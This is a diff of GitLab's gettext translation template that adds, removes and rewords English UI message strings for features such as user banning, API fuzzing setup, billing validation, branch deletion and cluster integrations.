msgstr ""
+msgid "%{user_name} (%{user_username}) was removed from %{rotation} in %{schedule} in %{project}. "
+msgstr ""
+
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} changed the draft status of merge request %{mr_link}"
+msgstr ""
+
msgid "%{username} has asked for a GitLab account on your instance %{host}:"
msgstr ""
@@ -1108,9 +1120,6 @@ msgstr ""
msgid "'%{name}' Value Stream saved"
msgstr ""
-msgid "'%{name}' stage already exists"
-msgstr ""
-
msgid "'%{source}' is not a import source"
msgstr ""
@@ -1468,6 +1477,9 @@ msgstr ""
msgid "A Let's Encrypt account will be configured for this GitLab installation using your email address. You will receive emails to warn of expiring certificates."
msgstr ""
+msgid "A banned user cannot:"
+msgstr ""
+
msgid "A basic page and serverless function that uses AWS Lambda, AWS API Gateway, and GitLab Pages"
msgstr ""
@@ -1489,6 +1501,9 @@ msgstr ""
msgid "A description is required"
msgstr ""
+msgid "A different reason"
+msgstr ""
+
msgid "A file has been changed."
msgstr ""
@@ -1558,9 +1573,6 @@ msgstr ""
msgid "A project containing issues for each audit inquiry in the HIPAA Audit Protocol published by the U.S. Department of Health & Human Services"
msgstr ""
-msgid "A project is where you house your files (repository), plan your work (issues), and publish your documentation (wiki), %{among_other_things_link}."
-msgstr ""
-
msgid "A project’s repository name defines its URL (the one you use to access the project via a browser) and its place on the file disk where GitLab is installed. %{link_start}Learn more.%{link_end}"
msgstr ""
@@ -1573,6 +1585,9 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
+msgid "A rule must be provided to create an escalation policy"
+msgstr ""
+
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1618,9 +1633,6 @@ msgstr ""
msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|/folder/example_file.json"
-msgstr ""
-
msgid "APIFuzzing|API Fuzzing Configuration"
msgstr ""
@@ -1660,30 +1672,24 @@ msgstr ""
msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
+msgid "APIFuzzing|File path or URL to APIs to be tested. For example, folder/example_fuzz.har. HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
+msgid "APIFuzzing|File path or URL to OpenAPI specification. For example, folder/openapi.json or http://www.example.com/openapi.json."
msgstr ""
-msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
+msgid "APIFuzzing|File path or URL to requests to be tested. For example, folder/example.postman_collection.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
msgstr ""
-msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
-msgstr ""
-
msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
-msgstr ""
-
msgid "APIFuzzing|Predefined profiles"
msgstr ""
@@ -1699,7 +1705,7 @@ msgstr ""
msgid "APIFuzzing|Target URL"
msgstr ""
-msgid "APIFuzzing|There are two ways to perform scans."
+msgid "APIFuzzing|There are three ways to perform scans."
msgstr ""
msgid "APIFuzzing|Tip: Insert the following variables anywhere below stages and include"
@@ -1726,6 +1732,15 @@ msgstr ""
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
+msgid "APIFuzzing|folder/example.postman_collection.json"
+msgstr ""
+
+msgid "APIFuzzing|folder/example_fuzz.har"
+msgstr ""
+
+msgid "APIFuzzing|folder/openapi.json"
+msgstr ""
+
msgid "AWS Access Key"
msgstr ""
@@ -1993,6 +2008,9 @@ msgstr ""
msgid "Add a bullet list"
msgstr ""
+msgid "Add a collapsible section"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2269,6 +2287,9 @@ msgstr ""
msgid "Adjust your filters/search criteria above. If you believe this may be an error, please refer to the %{linkStart}Geo Troubleshooting%{linkEnd} documentation for more information."
msgstr ""
+msgid "Admin"
+msgstr ""
+
msgid "Admin Area"
msgstr ""
@@ -2434,9 +2455,6 @@ msgstr ""
msgid "AdminSettings|Feed token"
msgstr ""
-msgid "AdminSettings|Go to General Settings"
-msgstr ""
-
msgid "AdminSettings|Keep the latest artifacts for all jobs in the latest successful pipelines"
msgstr ""
@@ -2449,9 +2467,6 @@ msgstr ""
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|PlantUML, Slack application, Third party offers, Snowplow, Amazon EKS have moved to Settings &gt; General."
-msgstr ""
-
msgid "AdminSettings|Required pipeline configuration"
msgstr ""
@@ -2476,9 +2491,6 @@ msgstr ""
msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
msgstr ""
-msgid "AdminSettings|Some settings have moved"
-msgstr ""
-
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
msgstr ""
@@ -2524,6 +2536,9 @@ msgstr ""
msgid "AdminUsers|(Admin)"
msgstr ""
+msgid "AdminUsers|(Banned)"
+msgstr ""
+
msgid "AdminUsers|(Blocked)"
msgstr ""
@@ -2542,6 +2557,9 @@ msgstr ""
msgid "AdminUsers|2FA Enabled"
msgstr ""
+msgid "AdminUsers|A user can validate themselves by inputting a credit/debit card, or an admin can manually validate a user."
+msgstr ""
+
msgid "AdminUsers|Access"
msgstr ""
@@ -2590,6 +2608,21 @@ msgstr ""
msgid "AdminUsers|Automatically marked as default internal user"
msgstr ""
+msgid "AdminUsers|Ban"
+msgstr ""
+
+msgid "AdminUsers|Ban user"
+msgstr ""
+
+msgid "AdminUsers|Ban user %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Banned"
+msgstr ""
+
+msgid "AdminUsers|Banning the user has the following effects:"
+msgstr ""
+
msgid "AdminUsers|Be added to groups and projects"
msgstr ""
@@ -2620,6 +2653,9 @@ msgstr ""
msgid "AdminUsers|Cohorts"
msgstr ""
+msgid "AdminUsers|Could not load user group counts. Please refresh the page to try again."
+msgstr ""
+
msgid "AdminUsers|Deactivate"
msgstr ""
@@ -2674,6 +2710,9 @@ msgstr ""
msgid "AdminUsers|It's you!"
msgstr ""
+msgid "AdminUsers|Learn more about %{link_start}banned users.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Log in"
msgstr ""
@@ -2755,6 +2794,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unban"
+msgstr ""
+
+msgid "AdminUsers|Unban %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Unban user"
+msgstr ""
+
msgid "AdminUsers|Unblock"
msgstr ""
@@ -2770,6 +2818,12 @@ msgstr ""
msgid "AdminUsers|Unlock user %{username}?"
msgstr ""
+msgid "AdminUsers|User is validated and can use free CI minutes on shared runners."
+msgstr ""
+
+msgid "AdminUsers|User will be blocked"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2782,6 +2836,9 @@ msgstr ""
msgid "AdminUsers|Users can still be invited to your instance and/or add themselves if permitted based on your settings. They will not have access to your instance, nor count towards your subscribed seat count until you %{approve_link}."
msgstr ""
+msgid "AdminUsers|Validate user account"
+msgstr ""
+
msgid "AdminUsers|View pending member requests"
msgstr ""
@@ -2806,6 +2863,9 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You ban their account in the future if necessary."
+msgstr ""
+
msgid "AdminUsers|You can always block their account again if needed."
msgstr ""
@@ -2818,6 +2878,9 @@ msgstr ""
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
+msgid "AdminUsers|You can unban their account in the future. Their data remains intact."
+msgstr ""
+
msgid "AdminUsers|You cannot remove your own admin rights."
msgstr ""
@@ -2863,9 +2926,6 @@ msgstr ""
msgid "Advanced Search"
msgstr ""
-msgid "Advanced Search with Elasticsearch"
-msgstr ""
-
msgid "Advanced Settings"
msgstr ""
@@ -2905,9 +2965,6 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
-msgid "Alert integrations"
-msgstr ""
-
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -3277,9 +3334,6 @@ msgstr ""
msgid "All epics"
msgstr ""
-msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
-msgstr ""
-
msgid "All groups and projects"
msgstr ""
@@ -3382,6 +3436,9 @@ msgstr ""
msgid "Allowed Geo IP"
msgstr ""
+msgid "Allowed characters: +, 0-9, -, and spaces."
+msgstr ""
+
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
@@ -3595,6 +3652,9 @@ msgstr ""
msgid "An error occurred while fetching markdown preview"
msgstr ""
+msgid "An error occurred while fetching participants"
+msgstr ""
+
msgid "An error occurred while fetching participants."
msgstr ""
@@ -3688,9 +3748,6 @@ msgstr ""
msgid "An error occurred while loading merge requests."
msgstr ""
-msgid "An error occurred while loading project creation UI"
-msgstr ""
-
msgid "An error occurred while loading the access tokens form, please try again."
msgstr ""
@@ -3760,7 +3817,7 @@ msgstr ""
msgid "An error occurred while reordering issues."
msgstr ""
-msgid "An error occurred while requesting data from the Jira service"
+msgid "An error occurred while requesting data from the Jira service."
msgstr ""
msgid "An error occurred while retrieving calendar activity"
@@ -4237,6 +4294,9 @@ msgstr ""
msgid "Approvers"
msgstr ""
+msgid "Approvers from private group(s) not shown"
+msgstr ""
+
msgid "Apr"
msgstr ""
@@ -4267,16 +4327,13 @@ msgstr ""
msgid "Archived in this version"
msgstr ""
-msgid "Archived project! Repository and other project resources are read only"
-msgstr ""
-
msgid "Archived project! Repository and other project resources are read-only"
msgstr ""
msgid "Archived projects"
msgstr ""
-msgid "Archiving the project will make it entirely read only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
+msgid "Archiving the project will make it entirely read-only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
@@ -4858,7 +4915,7 @@ msgstr ""
msgid "Automatic deployment rollbacks"
msgstr ""
-msgid "Automatically close incidents when the associated Prometheus alert resolves."
+msgid "Automatically close associated incident when a recovery alert notification resolves an alert"
msgstr ""
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
@@ -4927,6 +4984,9 @@ msgstr ""
msgid "Background Jobs"
msgstr ""
+msgid "Background Migrations"
+msgstr ""
+
msgid "Background color"
msgstr ""
@@ -5083,6 +5143,9 @@ msgstr ""
msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
+msgid "BillingPlans|Compare all plans"
+msgstr ""
+
msgid "BillingPlans|Congratulations, your free trial is activated."
msgstr ""
@@ -5101,6 +5164,9 @@ msgstr ""
msgid "BillingPlans|Learn more about each plan by visiting our %{pricing_page_link}."
msgstr ""
+msgid "BillingPlans|Looking to purchase or manage a subscription for your group? Navigate to your %{groups_link} and go to %{strong_open}Settings &gt; Billing.%{strong_close}"
+msgstr ""
+
msgid "BillingPlans|Manage plan"
msgstr ""
@@ -5116,6 +5182,9 @@ msgstr ""
msgid "BillingPlans|To manage the plan for this group, visit the billing section of %{parent_billing_page_link}."
msgstr ""
+msgid "BillingPlans|Upgrade to GitLab %{planNameForUpgrade}"
+msgstr ""
+
msgid "BillingPlans|While GitLab is ending availability of the Bronze plan, you can still renew your Bronze subscription one additional time before %{eoa_bronze_plan_end_date}. We are also offering a limited time free upgrade to our Premium Plan (up to 25 users)! Learn more about the changes and offers in our %{announcement_link}."
msgstr ""
@@ -5134,6 +5203,9 @@ msgstr ""
msgid "BillingPlans|frequently asked questions"
msgstr ""
+msgid "BillingPlans|group"
+msgstr ""
+
msgid "BillingPlans|monthly"
msgstr ""
@@ -5149,6 +5221,27 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd}"
+msgstr ""
+
+msgid "Billings|User successfully validated"
+msgstr ""
+
+msgid "Billings|User validation required"
+msgstr ""
+
+msgid "Billings|Validate account"
+msgstr ""
+
+msgid "Billings|Validate user account"
+msgstr ""
+
+msgid "Billings|Your user account has been successfully validated. You can now use free pipeline minutes."
+msgstr ""
+
msgid "Billing|An email address is only visible for users with public emails."
msgstr ""
@@ -5161,6 +5254,9 @@ msgstr ""
msgid "Billing|An error occurred while removing a billable member"
msgstr ""
+msgid "Billing|Cannot remove user"
+msgstr ""
+
msgid "Billing|Direct memberships"
msgstr ""
@@ -5170,6 +5266,12 @@ msgstr ""
msgid "Billing|Group"
msgstr ""
+msgid "Billing|Group invite"
+msgstr ""
+
+msgid "Billing|Members who were invited via a group invitation cannot be removed. You can either remove the entire group, or ask an Owner of the invited group to remove the member."
+msgstr ""
+
msgid "Billing|No users to display."
msgstr ""
@@ -5401,6 +5503,9 @@ msgstr ""
msgid "Branches|All"
msgstr ""
+msgid "Branches|Cancel, keep branch"
+msgstr ""
+
msgid "Branches|Cant find HEAD commit for this branch"
msgstr ""
@@ -5413,6 +5518,9 @@ msgstr ""
msgid "Branches|Delete branch"
msgstr ""
+msgid "Branches|Delete branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
msgid "Branches|Delete merged branches"
msgstr ""
@@ -5422,6 +5530,12 @@ msgstr ""
msgid "Branches|Delete protected branch '%{branch_name}'?"
msgstr ""
+msgid "Branches|Delete protected branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
+msgid "Branches|Deleting the %{strongStart}%{branchName}%{strongEnd} branch cannot be undone. Are you sure?"
+msgstr ""
+
msgid "Branches|Deleting the '%{branch_name}' branch cannot be undone. Are you sure?"
msgstr ""
@@ -5443,12 +5557,18 @@ msgstr ""
msgid "Branches|Once you confirm and press %{delete_protected_branch}, it cannot be undone or recovered."
msgstr ""
+msgid "Branches|Once you confirm and press %{strongStart}%{buttonText},%{strongEnd} it cannot be undone or recovered."
+msgstr ""
+
msgid "Branches|Only a project maintainer or owner can delete a protected branch"
msgstr ""
msgid "Branches|Overview"
msgstr ""
+msgid "Branches|Please type the following to confirm:"
+msgstr ""
+
msgid "Branches|Protected branches can be managed in %{project_settings_link}."
msgstr ""
@@ -5482,6 +5602,9 @@ msgstr ""
msgid "Branches|The default branch cannot be deleted"
msgstr ""
+msgid "Branches|This branch hasn’t been merged into %{defaultBranchName}. To avoid data loss, consider merging this branch before deleting it."
+msgstr ""
+
msgid "Branches|This branch hasn’t been merged into %{default_branch}."
msgstr ""
@@ -5494,6 +5617,18 @@ msgstr ""
msgid "Branches|To discard the local changes and overwrite the branch with the upstream version, delete it here and choose 'Update Now' above."
msgstr ""
+msgid "Branches|Yes, delete branch"
+msgstr ""
+
+msgid "Branches|Yes, delete protected branch"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the protected branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
msgid "Branches|You’re about to permanently delete the protected branch %{branch_name}."
msgstr ""
@@ -5563,6 +5698,9 @@ msgstr ""
msgid "BulkImport|From source group"
msgstr ""
+msgid "BulkImport|Import %{groups}"
+msgstr ""
+
msgid "BulkImport|Import failed: Destination cannot be a subgroup of the source group. Change the destination and try again."
msgstr ""
@@ -5575,9 +5713,15 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|No groups on this page are available for import"
+msgstr ""
+
msgid "BulkImport|No parent"
msgstr ""
+msgid "BulkImport|One or more groups has validation errors"
+msgstr ""
+
msgid "BulkImport|Showing %{start}-%{end} of %{total}"
msgstr ""
@@ -5644,9 +5788,6 @@ msgstr ""
msgid "By authenticating with an account tied to an Enterprise e-mail address, it is understood that this account is an Enterprise User. "
msgstr ""
-msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
-msgstr ""
-
msgid "By default GitLab sends emails in HTML and plain text formats so mail clients can choose what format to use. Disable this option if you only want to send emails in plain text format."
msgstr ""
@@ -5695,15 +5836,15 @@ msgstr ""
msgid "CI/CD configuration file"
msgstr ""
-msgid "CI/CD for external repo"
-msgstr ""
-
msgid "CICDAnalytics|%{percent}%{percentSymbol}"
msgstr ""
msgid "CICDAnalytics|All time"
msgstr ""
+msgid "CICDAnalytics|Deployment frequency"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5713,6 +5854,9 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "CICDAnalytics|Release statistics"
+msgstr ""
+
msgid "CICDAnalytics|Releases"
msgstr ""
@@ -6406,7 +6550,7 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
+msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
msgid "Choose a file"
@@ -6790,72 +6934,6 @@ msgstr ""
msgid "Cloud licenses can not be removed."
msgstr ""
-msgid "CloudLicense|Activate"
-msgstr ""
-
-msgid "CloudLicense|Activate subscription"
-msgstr ""
-
-msgid "CloudLicense|Activation code"
-msgstr ""
-
-msgid "CloudLicense|Billable users"
-msgstr ""
-
-msgid "CloudLicense|Buy subscription"
-msgstr ""
-
-msgid "CloudLicense|Free trial"
-msgstr ""
-
-msgid "CloudLicense|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
-msgstr ""
-
-msgid "CloudLicense|Learn how to %{linkStart}activate your subscription%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|Maximum users"
-msgstr ""
-
-msgid "CloudLicense|Paste your activation code"
-msgstr ""
-
-msgid "CloudLicense|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
-msgstr ""
-
-msgid "CloudLicense|Start free trial"
-msgstr ""
-
-msgid "CloudLicense|Subscription"
-msgstr ""
-
-msgid "CloudLicense|This is the highest peak of users on your installation since the license started."
-msgstr ""
-
-msgid "CloudLicense|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
-msgstr ""
-
-msgid "CloudLicense|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Sync service%{linkEnd}, a hassle-free way to manage your subscription."
-msgstr ""
-
-msgid "CloudLicense|Users in subscription"
-msgstr ""
-
-msgid "CloudLicense|Users over subscription"
-msgstr ""
-
-msgid "CloudLicense|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
-msgstr ""
-
-msgid "CloudLicense|You can start a free trial of GitLab Ultimate without any obligation or payment details."
-msgstr ""
-
-msgid "CloudLicense|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -7018,6 +7096,12 @@ msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespaces and service accounts for this cluster."
msgstr ""
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Elasticsearch for pod logs."
+msgstr ""
+
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
+msgstr ""
+
msgid "ClusterIntegration|Alternatively, "
msgstr ""
@@ -7060,12 +7144,6 @@ msgstr ""
msgid "ClusterIntegration|Base domain"
msgstr ""
-msgid "ClusterIntegration|Before you enable this integration, follow the %{link_start}documented process%{link_end}."
-msgstr ""
-
-msgid "ClusterIntegration|Blocking mode"
-msgstr ""
-
msgid "ClusterIntegration|CA Certificate"
msgstr ""
@@ -7228,6 +7306,9 @@ msgstr ""
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
+msgid "ClusterIntegration|Enable Elastic Stack integration"
+msgstr ""
+
msgid "ClusterIntegration|Enable Prometheus integration"
msgstr ""
@@ -7312,9 +7393,6 @@ msgstr ""
msgid "ClusterIntegration|GitLab-managed cluster"
msgstr ""
-msgid "ClusterIntegration|Global default"
-msgstr ""
-
msgid "ClusterIntegration|Google Cloud Platform project"
msgstr ""
@@ -7375,7 +7453,7 @@ msgstr ""
msgid "ClusterIntegration|Integration enabled"
msgstr ""
-msgid "ClusterIntegration|Integrations enable you to integrate your cluster as part of your GitLab workflow."
+msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
msgid "ClusterIntegration|Issuer Email"
@@ -7471,9 +7549,6 @@ msgstr ""
msgid "ClusterIntegration|Loading subnetworks"
msgstr ""
-msgid "ClusterIntegration|Logging mode"
-msgstr ""
-
msgid "ClusterIntegration|Machine type"
msgstr ""
@@ -7486,9 +7561,6 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
-msgid "ClusterIntegration|ModSecurity enabled"
-msgstr ""
-
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7585,9 +7657,6 @@ msgstr ""
msgid "ClusterIntegration|Read our %{link_start}help page%{link_end} on Kubernetes cluster integration."
msgstr ""
-msgid "ClusterIntegration|Real-time web application monitoring, logging and access control. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Remove Kubernetes cluster integration"
msgstr ""
@@ -7726,9 +7795,6 @@ msgstr ""
msgid "ClusterIntegration|Send Container Network Policies Logs"
msgstr ""
-msgid "ClusterIntegration|Send Web Application Firewall Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7741,9 +7807,6 @@ msgstr ""
msgid "ClusterIntegration|Set a prefix for your namespaces. If not set, defaults to your project path. If modified, existing environments will use their current namespaces until the cluster cache is cleared."
msgstr ""
-msgid "ClusterIntegration|Set the global mode for the WAF in this cluster. This can be overridden at the environmental level."
-msgstr ""
-
msgid "ClusterIntegration|Something went wrong on our end."
msgstr ""
@@ -8017,6 +8080,15 @@ msgstr ""
msgid "CodeOwner|Pattern"
msgstr ""
+msgid "CodeQuality|Code quality"
+msgstr ""
+
+msgid "CodeQuality|New code quality degradations in this file"
+msgstr ""
+
+msgid "CodeQuality|Some changes in this file degrade the code quality."
+msgstr ""
+
msgid "Cohorts|Inactive users"
msgstr ""
@@ -8161,6 +8233,9 @@ msgstr ""
msgid "CommitMessage|Add %{file_name}"
msgstr ""
+msgid "CommitMessage|Add %{file_name} and create a code quality job"
+msgstr ""
+
msgid "CommitWidget|authored"
msgstr ""
@@ -8299,9 +8374,6 @@ msgstr ""
msgid "Compliance framework"
msgstr ""
-msgid "Compliance framework (optional)"
-msgstr ""
-
msgid "Compliance framework (optional)"
msgstr ""
@@ -8422,6 +8494,9 @@ msgstr ""
msgid "Configuration"
msgstr ""
+msgid "Configuration help"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8485,6 +8560,9 @@ msgstr ""
msgid "Configure repository mirroring."
msgstr ""
+msgid "Configure settings for Advanced Search with Elasticsearch."
+msgstr ""
+
msgid "Configure specific limits for Packages API requests that supersede the general user and IP rate limits."
msgstr ""
@@ -8644,6 +8722,9 @@ msgstr ""
msgid "ContainerRegistry|%{title} was successfully scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|-- tags"
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -9325,9 +9406,6 @@ msgstr ""
msgid "Create Project"
msgstr ""
-msgid "Create Value Stream"
-msgstr ""
-
msgid "Create a GitLab account first, and then connect it to your %{label} account."
msgstr ""
@@ -9358,9 +9436,6 @@ msgstr ""
msgid "Create a personal access token on your account to pull or push via %{protocol}."
msgstr ""
-msgid "Create a project pre-populated with the necessary files to get you started quickly."
-msgstr ""
-
msgid "Create an account using:"
msgstr ""
@@ -9412,6 +9487,9 @@ msgstr ""
msgid "Create group label"
msgstr ""
+msgid "Create incident"
+msgstr ""
+
msgid "Create issue"
msgstr ""
@@ -9463,6 +9541,9 @@ msgstr ""
msgid "Create new label"
msgstr ""
+msgid "Create new project"
+msgstr ""
+
msgid "Create new..."
msgstr ""
@@ -9496,6 +9577,9 @@ msgstr ""
msgid "Create your group"
msgstr ""
+msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
+msgstr ""
+
msgid "Create/import your first project"
msgstr ""
@@ -9823,27 +9907,6 @@ msgstr ""
msgid "Custom range (UTC)"
msgstr ""
-msgid "CustomCycleAnalytics|Add a stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Add stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Editing stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|End event label"
-msgstr ""
-
-msgid "CustomCycleAnalytics|New stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Stage name already exists"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Start event label"
-msgstr ""
-
msgid "Customer Portal"
msgstr ""
@@ -10066,9 +10129,15 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Configuration"
+msgstr ""
+
msgid "DAST Scans"
msgstr ""
+msgid "DAST Settings"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -10288,9 +10357,6 @@ msgstr ""
msgid "DastProfiles|Password form field"
msgstr ""
-msgid "DastProfiles|Please enter a valid timeout value"
-msgstr ""
-
msgid "DastProfiles|Profile name"
msgstr ""
@@ -10657,6 +10723,9 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
+msgid "Delete Key"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11380,22 +11449,28 @@ msgstr ""
msgid "DevopsAdoption|Are you sure that you would like to remove %{name} from the table?"
msgstr ""
-msgid "DevopsAdoption|At least 1 MR opened"
+msgid "DevopsAdoption|At least one MR opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 approval on an MR"
+msgid "DevopsAdoption|At least one approval on an MR"
msgstr ""
-msgid "DevopsAdoption|At least 1 deploy"
+msgid "DevopsAdoption|At least one deploy"
msgstr ""
-msgid "DevopsAdoption|At least 1 issue opened"
+msgid "DevopsAdoption|At least one issue opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 pipeline successfully run"
+msgid "DevopsAdoption|At least one pipeline successfully run"
msgstr ""
-msgid "DevopsAdoption|At least 1 security scan of any type run in pipeline"
+msgid "DevopsAdoption|At least one security scan of any type run in pipeline"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners enabled for at least one project"
msgstr ""
msgid "DevopsAdoption|Confirm remove Group"
@@ -11404,6 +11479,9 @@ msgstr ""
msgid "DevopsAdoption|Deploys"
msgstr ""
+msgid "DevopsAdoption|Dev"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
@@ -11431,6 +11509,9 @@ msgstr ""
msgid "DevopsAdoption|Not adopted"
msgstr ""
+msgid "DevopsAdoption|Ops"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11452,6 +11533,9 @@ msgstr ""
msgid "DevopsAdoption|Scanning"
msgstr ""
+msgid "DevopsAdoption|Sec"
+msgstr ""
+
msgid "DevopsAdoption|There was an error enabling the current group. Please refresh the page."
msgstr ""
@@ -11464,21 +11548,33 @@ msgstr ""
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
-msgid "DevopsReport|Adoption"
+msgid "DevopsReport|DevOps Score"
msgstr ""
-msgid "DevopsReport|DevOps"
+msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
msgstr ""
-msgid "DevopsReport|DevOps Score"
+msgid "DevopsReport|High"
msgstr ""
-msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
+msgid "DevopsReport|Leader usage"
+msgstr ""
+
+msgid "DevopsReport|Low"
+msgstr ""
+
+msgid "DevopsReport|Moderate"
msgstr ""
msgid "DevopsReport|Score"
msgstr ""
+msgid "DevopsReport|Your score"
+msgstr ""
+
+msgid "DevopsReport|Your usage"
+msgstr ""
+
msgid "Didn't receive a confirmation email?"
msgstr ""
@@ -11545,15 +11641,15 @@ msgstr ""
msgid "Disable public access to Pages sites"
msgstr ""
-msgid "Disable shared runners"
-msgstr ""
-
msgid "Disable two-factor authentication"
msgstr ""
msgid "Disabled"
